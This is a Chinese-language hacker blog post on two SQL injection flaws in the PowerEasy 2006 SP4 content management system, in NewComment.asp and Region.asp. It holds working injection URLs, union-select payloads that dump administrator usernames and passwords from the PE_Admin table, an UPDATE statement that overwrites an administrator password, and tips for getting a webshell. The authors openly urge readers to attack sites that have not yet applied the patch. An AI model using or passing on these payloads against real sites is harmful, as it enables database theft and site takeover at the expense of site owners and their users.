动易2006 SP4 SQL版注入新发现..

动易2006 SP4 SQL版注入新发现..

by NetPatch & Trace
www.icehack.com
www.nspcn.org

晚上正无聊着瞎摆弄着,好友Trace突然发个消息过来,说让我看个动易的NewComment.asp文件。说是听说这个文件出了个注入漏洞,让我好好瞧瞧。反正也没事做,就瞒看了。

认真一看,还真是发现了漏洞所在。我们长话短说,直接进入话题。
首先我们来看看主要的几个参数过滤情况
ModuleName = Trim(request(“ModuleName”))
//只过滤两边空格—也是漏洞所在首要原因
ChannelID = PE_CLng(Trim(request(“ChannelID”)))
ClassID = PE_CLng(Trim(request(“ClassID”)))
Num = PE_CLng(Trim(request(“Num”)))
//其他三个都过滤的比较严格。

真搞不懂,为什么就ModuleName没过滤?难道是动易故意放水?

好,闲话少说,现在我们再看看问题所在的SQL语句

============================================================================================================================
If ModuleName <> “” Then
//假如ModuleName值不为空
If ChannelID <> 0 Then
 //假如ChannelID值不为0
If ClassID <> 0 Then
   //假如ClassID值不为0
sqlComment = “Select top ” & Num & ” C.* from PE_Comment C left join PE_” & ModuleName & ” A on C.InfoID=A.” & ModuleName & “ID where A.ChannelID= ” & ChannelID & ” and A.ClassID= ” & ClassID & ” and C.Passed =” & PE_True ‘获取指定模块中指定频道指定栏目的前Num条评论

//没经过任何过滤,直接执行了
Else
sqlComment = “Select top ” & Num & ” C.* from PE_Comment C left join PE_” & ModuleName & ” A on C.InfoID=A.” & ModuleName & “ID where A.ChannelID= ” & ChannelID & ” and C.Passed =” & PE_True ‘获取指定模块中指定频道的前Num条评论
End If
Else
sqlComment = “Select top ” & Num & ” * From PE_Comment where ModuleType= ” & ModuleId & ” and Passed =” & PE_True ‘获取指定模块中的前Num条评论
End If
Else
sqlComment = “Select top ” & Num & ” * from PE_Comment where Passed =” & PE_True ‘获取所有模块中的前Num条评论
End If
============================================================================================================================

/////////////////////////////////////////
Select top ” & Num & ” C.* from PE_Comment C left join PE_” & ModuleName & ” A on C.InfoID=A.” & ModuleName & “ID where A.ChannelID= ” & ChannelID & ” and A.ClassID= ” & ClassID & ” and C.Passed =” & PE_True
//////////////////////////////////////////
以上语句为漏洞存在语句
发现此语句里也没对ModuleName进行过滤。HOHO,这不就常说的注入漏洞么!
但是,请不要高兴的太早。因为这句SQL语句里有个小弯,如果没转过去,那可是要撞墙的哦。
认真看下语句,你会发现,该语句使用了left join(外连接),如果直接构造NewComment.asp?num=1&ChannelID=1&&ClassID=1&ModuleName=soft and user>0–这样的URL是不可以成功的!为什么呢,其原因所在就是这个外连接语句!
如果你把你构造的参数值和你想执行的SQL语句代到原SQL语句中的话,你会发现语句错了,错了的语句当然是没办法执行下去的了。
/////////////////////////////////////////
Select top 1 C.* from PE_Comment C left join PE_soft A on C.InfoID=A.soft and user>0–(后面的被注释了,就没必要代参数进去了)ID where A.ChannelID= ” & ChannelID & ” and A.ClassID= ” & ClassID & ” and C.Passed =” & PE_True
//////////////////////////////////////////
以上是代入SQL语句中的示范。
======================================================================================
Select top 1 C.* from PE_Comment C left join PE_soft A on C.InfoID=A.soft and user>0–
======================================================================================
这样的语句,试问,如何让他执行成功呢?

聪明的你肯定想到答案了吧。呵呵
没错,既然这样的语句不能成功执行,那么我们就构造一个可以让他执行的语句!

/////////////////////////////////////////
Select top 1 C.* from PE_Comment C left join PE_soft A on C.InfoID=A.soft A on C.InfoID=A.softID where A.ChannelID=1 and user>0–
//////////////////////////////////////////
再看看上面这段语句,是不是变的通顺了呢?
好,我们现在还原到URL上
============================================================================================================================
NewComment.asp?num=1&ChannelID=1&ClassID=1&modulename=soft A on C.InfoID=A.softID where A.ChannelID=1 and user>0–
============================================================================================================================
哈。。是不是成功了???
YES,看来只要肯下工夫,漏洞始终是会浮出水面的!
这里感谢Tarce,不是他,就没有这篇文章.
哇哈哈,昨天看到动易出补丁了,甚是郁闷,俺拿到这个0day都还没开始玩,就这样被洗白鸟,郁闷啊,早知道不玩动易主站,而且是get提交方式,当初如果听CN的话,也许这个0day还会一直埋在地下,刚看了下动易的补丁,这次补的地方不至这一个,哈哈,传说的7个以上的bug,不知道还省几个呢?下面是大概一个月前写的东西,发出来给大家搞一些懒惰的管理员,补丁都发2天了,还没补的话,就是管理员的错了哦,呵呵~~~38也还没补哦,要上的就快上,哈哈~~~

漏洞2

文章标题:动易最新未公开Bug
文章作者:WhyTt
漏洞发现时间:2006年10月22日
个人Blog:http://why_tt.mblogger.cn //个人
个人Blog:http://whytt.mblogger.cn //技术
影响版本:ACCESS和MSSQL

今天下午看了一个下午的动网代码,头甚是疼,于是晚上回来,找找动易还有其他漏洞没,结果一看,还真有一处,逻辑错误!
在Region.asp中

Country = ReplaceBadChar(Trim(Request(“Country”)))
Province = ReplaceBadChar(Trim(Request(“Province”)))
City = ReplaceBadChar(Trim(Request(“City”)))

对所有传入的变量都进行了过滤,但是编程者在这里:

Set TempRs = Conn.Execute(“SELECT Province FROM PE_Province WHERE Country=’” & Country & “‘ ORDER BY ProvinceID”)
If Err Or TempRs.EOF Then
 ReDim ShowProvince(0, 0)
 Province = Trim(Request.QueryString(“Province”))
Else
 ShowProvince = TempRs.GetRows(-1)
End If
Set TempRs = Conn.Execute(“SELECT DISTINCT City FROM PE_City WHERE Province=’” & Province & “‘”)

大家可以看到,Province = Trim(Request.QueryString(“Province”)) 这里直接取的是传入的Province,而不是过滤后的,所以这个Province变量危险了,那么在下面他是直接带入了查询,由于Province变量是我们可以随意构造的,所以我们就可以构造我们的SQL语句。

但是要进入这个查询的前提是:Err=true 或者 TempRs.EOF,而要达到这2个中的一个,就是要让Conn.Execute(“SELECT Province FROM PE_Province WHERE Country=’” & Country & “‘ ORDER BY ProvinceID”)这条语句在表中查询不到所要找的Country,这样就好构造了。下面是利用代码:

http://127.0.0.1/Region.asp?Country=tt&City=whytt&Province=shi'+and+user>0–

就是在

http://127.0.0.1/Region.asp?Country=tt&City=whytt&Province=shi' 后面加上我们的SQL注入语句。

这就是整个利用原理,很简单,但也很致命的漏洞。

上面是MSSQL版本的利用,而如果要是ACCESS版本中的利用,那么怎么办呢,呵呵,聪明的你可能觉得我在说废话老,看吧。

http://127.0.0.1/Region.asp?Country=tt&City=whytt&Province=shi' and 1=1 and ‘1’=’1

这样的话,我们的and 1=1就是在access版本中的利用。呵呵。这样就完成这个漏洞在2个版本的利用。

http://127.0.0.1/Region.asp?Country=tt&City=whytt&Province=shi'+and+1=2+union+select+password+from+PE_Admin+where+1<2+and+’1’=’1

其中username是要暴的字段,哈哈,通杀的感觉爽吧

By
WhyTt

补充:

update PE_Admin set Password=’13955235245b2497′ where id=2–

如果不可以列目录就插管理员,但我喜欢直接update管理员密码,拿完shell后改回来,或去加一个

如果可以列目录就直接找web目录,然后用nb的getwebshell就可以拿到webshell了

发现有很多人对access版本的动易搞不明白,于是今天写个简单的,其实就是基本的注入语句。

<A href="http://127.0.0.1/Region.asp?Country=tt&City=whytt&Province=shi'+and+1=2+union+select+username+from+PE_Admin+where+1http://127.0.0.1/Region.asp?Country=tt&City=whytt&Province=shi’+and+1=2+union+select+username+from+PE_Admin+where+1<2+and+’1’=’1

先暴所有管理员帐号。

admin
haha
whytt

然后

http://127.0.0.1/Region.asp?Country=tt&City=whytt&Province=shi’+and+1=2+union+select+password+from+PE_Admin+where+username=”admin”+and+’1’=’1

然后争对管理员名暴密码

依次改改username=”这里写暴出的用户名”

这样就可以精确的暴出相对应的用户和密码。PS下:看到网上有很多人转了俺的文章,可是有些却把作者以及很多地方都删掉了,真是。。。不想说了,八噶,我的太阳。

没有评论:

发表评论

Follow Us

FOLLOW US

Blog Archive

Comments

Blogger 提供支持.

Search This Blog

Tags

header ads